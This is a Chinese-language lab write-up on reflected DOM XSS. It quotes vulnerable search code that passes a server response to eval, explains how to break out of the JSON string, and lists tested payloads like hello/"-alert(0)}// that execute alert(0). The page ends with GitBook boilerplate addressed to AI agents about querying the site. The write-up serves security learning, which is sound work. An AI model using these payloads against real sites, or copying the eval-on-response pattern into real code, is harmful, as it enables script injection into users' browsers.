> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/reflected-dom-xss.md).

# DOM 反射型 XSS

### 反射型 DOM XSS

这个实验展示了一个精心设计的 DOM 漏洞。查询字符串中发送的数据会被服务器返回，然后客户端脚本危险地处理它们，并将它们写入一个 `eval`，从而为代码执行打开大门。

客户端向以下地址发起 AJAX 请求： `path + window.location.search`。响应返回后，代码如下：

```javascript
function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();

    function displaySearchResults(searchResultsObj) {
        var blogHeader = document.getElementsByClassName("blog-header")[0];
        var blogList = document.getElementsByClassName("blog-list")[0];
        var searchTerm = searchResultsObj.searchTerm
        var searchResults = searchResultsObj.results

        var h1 = document.createElement("h1");
        h1.innerText = searchResults.length + " search results for '" + searchTerm + "'";
        blogHeader.appendChild(h1);
        var hr = document.createElement("hr");
        blogHeader.appendChild(hr)

        for (var i = 0; i < searchResults.length; ++i)
        {
            var searchResult = searchResults[i];
            if (searchResult.id) {
                var blogLink = document.createElement("a");
                blogLink.setAttribute("href", "/post?postId=" + searchResult.id);

                if (searchResult.headerImage) {
                    var headerImage = document.createElement("img");
                    headerImage.setAttribute("src", "/image/" + searchResult.headerImage);
                    blogLink.appendChild(headerImage);
                }

                blogList.appendChild(blogLink);
            }

            blogList.innerHTML += "<br/>";

            if (searchResult.title) {
                var title = document.createElement("h2");
                title.innerText = searchResult.title;
                blogList.appendChild(title);
            }

            if (searchResult.summary) {
                var summary = document.createElement("p");
                summary.innerText = searchResult.summary;
                blogList.appendChild(summary);
            }

            if (searchResult.id) {
                var viewPostButton = document.createElement("a");
                viewPostButton.setAttribute("class", "button is-small");
                viewPostButton.setAttribute("href", "/post?postId=" + searchResult.id);
                查看帖子
            }
        }

        var linkback = document.createElement("div");
        linkback.setAttribute("class", "is-linkback");
        var backToBlog = document.createElement("a");
        backToBlog.setAttribute("href", "/");
        返回博客
        linkback.appendChild(backToBlog);
        blogList.appendChild(linkback);
    }
}
```

该 `displaySearchResults` 函数运行 `searchResultsObj` 并动态创建元素（h1、h2、p、a、img 等），通过赋值 `innerText` 用于标题和摘要，但很重要 `searchResultsObj` 通过 `eval`.

```javascript
if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
```

<figure><img src="/files/525d259d65f7dd3bfc7b83d8019b869e52fd05b7" alt=""><figcaption></figcaption></figure>

使用 `eval('var searchResultsObj = ' + this.responseText)` 至关重要：如果受控响应包含特殊构造的文本，就有可能破坏预期语法，并注入将在求值期间执行的 JavaScript 代码。

* 发送回（或拦截） `responseText` 其中包含针对以下字段的攻击值： `searchTerm` 或类似字段。
* 通过关闭结构并添加可执行代码，将字符串/字面量 JSON 预期内容移除，然后用注释（`//`）把后续语法错误消除。

<figure><img src="/files/f7c459a38cffd4f0531155b4de2278d8358dbb96" alt=""><figcaption></figcaption></figure>

#### 已测试有效载荷示例

（这些字符串旨在放在反射响应的那一部分——它们展示了如何跳出结构并运行 `alert(0)`)

```javascript
hello/"jordan

hello/"jordan}//
```

<figure><img src="/files/4d2b1c8263d45aaa4990d8f2475c4abd1d9a06ef" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/96d63b29f0fe97e7dd38d0f9e5904b1fed54927d" alt=""><figcaption></figcaption></figure>

通过将上述字符串之一注入响应中被反射的部分， `eval` 将解释修改后的构造并运行 `alert(0)`，从而演示通过反射型 DOM XSS 进行客户端代码执行。

```javascript
hello/"*alert(0)}//
```

```javascript
hello/"+alert(0)}//
```

```javascript
hello/"-alert(0)}//
```

<figure><img src="/files/590b5362ae5b8cbec04f15f67167a1d6dc0505c2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/reflected-dom-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
